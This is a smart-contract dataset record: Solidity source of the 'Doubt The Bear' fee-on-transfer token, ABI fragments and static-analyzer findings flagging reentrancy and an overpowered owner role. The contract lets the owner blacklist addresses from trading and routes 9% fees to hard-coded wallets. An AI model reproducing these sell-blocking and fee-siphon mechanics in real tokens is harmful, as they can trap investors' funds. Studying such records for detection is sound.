name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_numList","type":"uint256"},{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256[]","name":"_amounts","type":"uint256[]"}],"name":"list","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"uniPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniRouter","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"wBNB","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
v0.7.3+commit.9bfce1f6
true
200
000000000000000000000000b2e8cbc5dcc1c34ac8ffa7b6b13584f80b9dc3ab
Default
false
DoubtTheBear
0x4d8fbfd43784ca9fafda08a96e3ffe98ede6614a
Solidity
/* Socials Telegram: https://t.me/DoubtTheBear Website: https://doubtthebear.com Twitter: https://twitter.com/DoubtTheBear */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DoubtTheBear is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1 * 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint8 private fee1=9; uint8 private fee2=9; uint256 private time; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Doubt The Bear"; string private constant _symbol = "X"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxContractSell = _tTotal.div(100); event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () payable { _feeAddrWallet1 = payable(0xb11CAb8F588A6Efa2b27C3029b30Dcb926a02FBC); _feeAddrWallet2 = payable(0x43A6adB3A9806F9fDbA5accf194aC598d40352e2); _rOwned[address(this)] = _rTotal.div(2); _rOwned[0x000000000000000000000000000000000000dEaD] = _rTotal.div(2); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0),address(this),_tTotal.div(2)); emit Transfer(address(0),address(0x000000000000000000000000000000000000dEaD),_tTotal.div(2)); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function reduceFees(uint8 _fee1,uint8 _fee2) external { require(_msgSender() == _feeAddrWallet1); require(_fee1 <= fee1 && _fee2 <= fee2,"Cannot increase fees"); fee1 = _fee1; fee2 = _fee2; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 1; _feeAddr2 = fee1; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 1; _feeAddr2 = fee2; } uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > _maxContractSell) contractTokenBalance = _maxContractSell; if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(block.timestamp > time,"Sells prohibited for the first 4 minutes"); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(10).mul(3)); _feeAddrWallet2.transfer(amount.div(10).mul(7)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = _tTotal.mul(25).div(1000); tradingOpen = true; time = block.timestamp + (4 minutes); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function liftMaxTransaction() public onlyOwner(){ _maxTxAmount = _tTotal; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
[]
[{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [151]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [69]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [289]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [288]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [176, 177, 178]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [88, 89, 90, 87]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [180, 181, 182]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [201, 202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [307, 308, 309, 310, 311]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [172, 173, 174]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [206, 207, 208, 209, 210]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [184, 185, 186]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [384, 385, 386, 383]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [192, 193, 194, 195]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [197, 198, 199]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"DoubtTheBear.sol": [313, 314, 315]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"DoubtTheBear.sol": [80, 78, 79]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"DoubtTheBear.sol": [80, 78, 79]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DoubtTheBear.sol": [142]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DoubtTheBear.sol": [141]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DoubtTheBear.sol": [107]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DoubtTheBear.sol": [140]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DoubtTheBear.sol": [127]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DoubtTheBear.sol": [216]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"DoubtTheBear.sol": [216]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [303]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [338]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [233]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [302]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [337]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [208]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [270]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [208]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [270]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [366]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [138]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [366]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [357]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [366]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [322]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [357]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [322]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [357]}}, {"check": "similar-names", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [322]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [261]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [169]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [162]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [298]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"DoubtTheBear.sol": [304]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"DoubtTheBear.sol": [118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395]}}, {"check": "unused-state", "impact": "Informational", "confidence": "High", "lines": {"DoubtTheBear.sol": [118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395]}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 159, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 160, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 162, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 169, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 294, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 89, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 288, "severity": 2}, {"rule": "SOLIDITY_DIV_MUL", "line": 289, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 201, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 308, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 308, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 307, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 10, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 68, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 69, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 120, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 121, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 122, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 123, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 124, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 125, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 126, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 127, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 128, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 129, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 131, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 132, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 133, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 134, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 135, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 137, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 138, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 140, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 141, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 142, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 144, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 145, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 146, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 147, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 148, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 149, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 150, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 151, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 119, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 115, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 72, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 99, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 158, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 102, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 103, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 104, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 341, "severity": 1}]
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liftMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_fee1","type":"uint8"},{"internalType":"uint8","name":"_fee2","type":"uint8"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"f